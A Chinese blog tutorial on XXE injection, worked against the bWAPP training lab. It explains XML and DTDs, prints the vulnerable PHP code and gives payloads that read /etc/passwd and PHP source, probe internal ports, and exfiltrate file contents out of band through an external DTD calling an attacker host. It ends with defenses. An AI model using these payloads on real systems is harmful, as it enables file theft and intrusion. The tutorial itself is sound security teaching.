我的再造学习篇Day1-XXE漏洞剖析

一、XML、DTD、实体介绍

XML
XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储。
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

DTD是什么?
XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD文档类型定义(document type definition) 的东西控制的。

DTD用来描述xml文档的结构,一个DTD文档包含:
元素的定义规则;元素之间的关系规则;属性的定义规则。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

1、内部DTD文档

<!DOCTYPE 根元素 [定义内容]>

2.外部DTD文档
引入外部的DTD文档分为两种:
(1)当引用的DTD文件是本地文件的时候,用SYSTEM标识,并写上”DTD的文件路径”,如下:

<!DOCTYPE 根元素 SYSTEM "DTD文件路径">

(2)如果引用的DTD文件是一个公共的文件时,采用PUBLIC标识,如下方式:

<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文件的URL">

实体:
实体是用于定义引用普通文本或者特殊字符的快捷方式的变量。
在DTD定义中,一条!ENTITY语句用于定义一个实体。
在DTD中的实体类型,一般分为:内部实体和外部实体,细分又分为一般实体和参数实体。除外部参数实体引用以字符(%)开始外,其它实体都以字符(&)开始,以字符(;)结束。

内部实体:

<!ENTITY 实体名称 "实体的值">
//只能在DTD中申明,可在xml文档中引用

外部实体:

<!ENTITY 实体名称 SYSTEM "URI/URL">
//只能在DTD中申明,可在xml文档中引用

外部参数实体:

<!ENTITY % 实体名 "实体内容”>或者<!ENTITY %实体名称 SYSTEM ”URI”>
//参数实体用%实体名称申明,引用时也用%实体名称
//参数实体只能在DTD中申明,DTD中引用

学习XXE漏洞,首先得了解XML,推荐一篇写的很好的博客:
XML文件约束之DTD详解https://blog.csdn.net/gavin_john/article/details/51532756

二、XXE原理

XXE(XML External Entity Injection)即XML外部实体注入

我们先分别理解一下注入和外部实体的含义。

注入:是指XML数据在传输过程中被修改,导致服务器执行了修改后的恶意代码,从而达到攻击目的。
外部实体:则是指攻击者通过利用外部实体声明部分来对XML数据进行修改、插入恶意代码。

所以XXE就是指XML数据在传输过程中利用外部实体声明部分的“SYSTEM”关键词导致XML解析器可以从本地文件或者远程URI中读取受保护的数据。

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。

xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

三、判断是否存在XXE漏洞

最直接的方法就是用burp抓包,然后,修改HTTP请求方法,修改Content-Type头部字段等等,查看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞,接下来,来看一个小小的展示:

注:我用的靶场是虚拟机导入bWAPP,下载链接:
https://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z/download

在物理机上访问,点击下面的Any bugs然后用burp抓包
在这里插入图片描述在这里插入图片描述随便输入下
在这里插入图片描述从上面我们可以看到,web应用正在解析xml的内容,接受用户特定或者自定义的输入,然后呈现给用户。为了验证,我们可以构造如下的输入:<?xml

version="1.0" encoding="utf-8"?>
<!DOCTYPE test[
<!ENTITY test "testtest">]>

<reset><login>bee;&test;</login><secret>Any bugs?</secret></reset>

在这里插入图片描述可以看到应用程序确实是直接解析了xml

源代码如下:

<?php

include("security.php");
include("security_level_check.php");
include("connect_i.php");

$message = "";
$body = file_get_contents("php://input");//file_get_contents() 函数把整个文件读入一个字符串中。

// If the security level is not MEDIUM or HIGH
if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
{

    ini_set("display_errors",1);

    $xml = simplexml_load_string($body);//simplexml_load_string() 函数转换形式良好的 XML 字符串为 SimpleXMLElement 对象,然后输出对象的键和元素.

    // Debugging
    // print_r($xml);

    $login = $xml->login;
    $secret = $xml->secret;

    if($login && $login != "" && $secret)
    {

        // $login = mysqli_real_escape_string($link, $login);
        // $secret = mysqli_real_escape_string($link, $secret);
        
        $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";

        // Debugging
        // echo $sql;      

        $recordset = $link->query($sql);

        if(!$recordset)
        {
            die("Connect Error: " . $link->error);
        }
        $message = $login . "'s secret has been reset!";
    }
    else
    {
        $message = "An error occured!";
    }
}
// If the security level is MEDIUM or HIGH
else
{

    // Disables XML external entities. Doesn't work with older PHP versions!
    // libxml_disable_entity_loader(true);
    $xml = simplexml_load_string($body);
    
    // Debugging
    // print_r($xml);

    $login = $_SESSION["login"];
    $secret = $xml->secret;
    if($secret)
    {
        $secret = mysqli_real_escape_string($link, $secret);//mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。
        $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";
        
        // Debugging
        // echo $sql;      
        $recordset = $link->query($sql);
        if(!$recordset)
        {
            die("Connect Error: " . $link->error);
        }
        $message = $login . "'s secret has been reset!";
    }
    else
    {
        $message = "An error occured!"; 
    }
}
echo $message;
$link->close();
?>

LOW级别:
xxe-2.php文件通过PHP伪协议接收XML内容,然后使用simplexml_load_string() 函数直接把 XML 字符串载入对象中,未做任何过滤,最后再将从xml中获取的login元素值直接回显。
$body = file_get_contents(“php://input”);//file_get_contents() 函数把整个文件读入一个字符串中。

if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
{
    ini_set("display_errors",1);
    $xml = simplexml_load_string($body);
    $login = $xml->login;
    $secret = $xml->secret;
    if($login && $login != "" && $secret)
    {
        $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";
        $recordset = $link->query($sql);
        if(!$recordset)
        {
            die("Connect Error: " . $link->error);
        }
        $message = $login . "'s secret has been reset!";
    }

Medium/High级别:
与Low级别一样,xxe-2.php文件通过PHP伪协议接收XML内容,然后使用simplexml_load_string() 函数直接把 XML 字符串载入对象中,未做任何过滤。但不同之处在于login元素值是从session中获取,攻击者无法利用login元素来进行XXE攻击。

    $xml = simplexml_load_string($body);
    $login = $_SESSION["login"];//login元素值是从session中获取
    $secret = $xml->secret;
    if($secret)
    {
        $secret = mysqli_real_escape_string($link, $secret);
        $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";
        $recordset = $link->query($sql);
        if(!$recordset)

 - List item

        {
            die("Connect Error: " . $link->error);
        }
        $message = $login . "'s secret has been reset!";
    }

四、漏洞利用

1、文件读取(有回显的xxe利用)

PHP中测试POC

  • File:///path/to/file.ext
  • http://url/file.ext
  • PHP://filter/read=convert.base64-encode/resource=/home/bee/test.php
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://ip/bWAPP/robots.txt">
]>

<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>

在这里插入图片描述

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "file:///etc/passwd">
]>

<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>

在这里插入图片描述读取成功

Medium/high级别下用读取robots.txt的代码测试一下,未返回文件内容
在这里插入图片描述原因上文已有描述,login元素值是从session中获取,攻击者无法利用login元素来进行XXE攻击。

2、读取php文件

直接利用file协议读取PHP文件,就会产生报错。
在这里插入图片描述直接读取php文件会报错,因为php文件里面有<>//等特殊字符,xml解析时候会当成xml语法来解析,这时候就分不清处哪个是真正的xml语句了,那么需要base64编码来读取
payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "php://filter/read=convert.base64-encoding/resource=/home/bee/test.php">
]>

<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>

在这里插入图片描述呜呜呜,按理来说应该可以的,我也不知道哪里出了bug,有大佬路过的话请求指教
之后进行解密得到对应内容

3、BlindXXE
由于此靶场没有BlindXXE漏洞,但我们可以运用BlindXXE的思路来做一下测试
先构造XXE的文件读取payload
在这里插入图片描述假设没有回显,想知道是否成功读取目标服务器文件,可通过查看日志
cd /var/log/apaches
cat access.log
在这里插入图片描述
从日志可知利用XXE成功读取文件。

将payload中的robots.txt改为不存在的hhh,再查看一下日志,可以看到404,目标服务器不存在该目录。
在这里插入图片描述4、本地测试无回显注入读取文件
在实际情况中,大多数情况下服务器上的 XML 并不是输出用的,所以就少了输出这一环节,这样的话,即使漏洞存在,我们的payload的也被解析了,但是由于没有输出,我们也不知道解析得到的内容是什么,因此我们想要现实中利用这个漏洞就必须找到一个不依靠其回显的方法——外带数据。

我们使用ncat监听一个端口:
netstat -ano | find “445” 在这里插入图片描述445端口成功被打开
在这里插入图片描述在自己电脑上写一个xxe.dtd文件,用外部调用dtd文件的方法,dtd文件内容如下:

<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY % dtd "<!ENTITY send SYSTEM 'http://192.168.1.1:445?%xxe;'>">
%dtd;

在burp中写入payload,如下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note PUBLIC "xxe" "http://192.168.1.1/xxe.dtd"
>
<reset><login>&send;</login><secret>Any bugs?</secret></reset>

思路:
1.靶机远程调用攻击机上的dtd文件
2.把调用的dtd文件解析,读取靶机本地文件(问号后面的内容即文件路径)
3.虽然无回显,由于靶机访问了攻击机,所以可以在本机上查看日志,会发现我们收到了一个连接请求,问号后面的内容就是我们读取到的文件内容。

但是报错了,应该远程调用dtd文件被禁用了
在这里插入图片描述之后打开控制面板-系统和安全-管理工具-查看事件日志中查看日志,dtd文件根本没被访问

5、内网端口探测
payload:

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://192.168.246.136:80">
]>

<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>

探测80端口,显示报错信息
在这里插入图片描述netstat -tln查看本机已开放哪些端口
在这里插入图片描述
再扫描23端口,23端口未开放,报错信息也与探测开放端口的报错信息不同
在这里插入图片描述

6、发起dos攻击
在这里插入图片描述影响:
此漏洞非常危险, 因为此漏洞会造成服务器上敏感数据的泄露,和潜在的服务器拒绝服务攻击。

五、工具–Collaborator插件

Burp Collaborator是从Burp suite v1.6.15版本添加的新功能,它几乎是一种全新的渗透测试方法,常用于测试不回显信息的漏洞。Burp Collaborator会渐渐支持blind XSS,SSRF, asynchronous code injection等其他还未分类的漏洞类型。

安装:
Burpsuite的extender模块下的bapp store ,找到 Collaborator点击安装即可。
安装后默认使用官方提供的服务器(推荐),也可以自己搭。
在这里插入图片描述由于小蜜蜂靶场没有BlindXXE漏洞,我们继续假装它就是没回显。

先抓取数据包,并修改为如下payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://ip/bWAPP/robots.txt">
]>

<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>

在这里插入图片描述再点击Burp Collaborator client打开 collaborator 插件
在这里插入图片描述再点击Copy to clipboard复制payload url,该url随机生成
在这里插入图片描述然后使用Collaborator生成的payload url
在这里插入图片描述
点击go后可以在Collaborator看到访问记录

如果响应包返回一串随机内容,说明成功进行了响应,目标服务器进行了外部的请求和交互,证明存在Blind XXE。

六、防御

防御方法:

  1. 禁用外部实体
  2. 过滤和验证用户提交的XML数据
  3. 不允许XML中含有任何自己声明的DTD
  4. 有效的措施:配置XML parser只能使用静态DTD,禁止外来引入;对于Java来说,直接设置相应的属性值为false即可

参考:
https://mp.weixin.qq.com/s/jvbZ6Andk_oQEo9cXA_daQ
https://mp.weixin.qq.com/s/C6uB2f98xRpxTdToGapvJw

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
泛微OA是一种常见的企业办公自动化系统,而XXE(XML外部实体注入)漏洞是指攻击者通过注入恶意的外部实体来读取或利用系统中的敏感数据。 泛微OA的XXE漏洞是由于系统对外部XML实体的处理不当所导致的。攻击者可以通过构造恶意的XML实体并将其发送给系统,然后利用系统对外部实体的解析不当来读取系统中的文件,包括敏感的配置文件、数据库信息。攻击者还可以通过XXE漏洞发起钓鱼攻击或者是向系统发送恶意的请求来进一步导致系统的安全漏洞。 为了防范泛微OA的XXE漏洞,建议以下几点: 1. 进行安全审计:对泛微OA系统进行定期的安全审计,通过检测系统中的漏洞和弱点,及时修复存在的XXE漏洞。 2. 模板限制:在处理外部XML实体时,应限制或阻止对外部实体的解析,避免可能的XXE攻击。可以通过设置合适的解析选项,限制对外部实体的访问权限。 3. 输入验证与过滤:对于用户输入的数据,应进行合理的验证和过滤,确保输入的内容符合预期格式,避免恶意的外部实体注入。 4. 更新补丁:定期保持泛微OA系统的更新与升级,及时安装官方发布的补丁和修复漏洞的版本。 5. 安全意识培训:加强企业员工的安全意识培训,提高他们对XXE漏洞及其他安全威胁的认识,避免因无意中点击恶意链接或下载恶意附件而导致漏洞的利用。 通过以上措施,可以有效地减少泛微OA中的XXE漏洞,提升系统的安全性。及早识别并修复漏洞,有助于保护企业的机密信息以及防止潜在的安全威胁发生。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值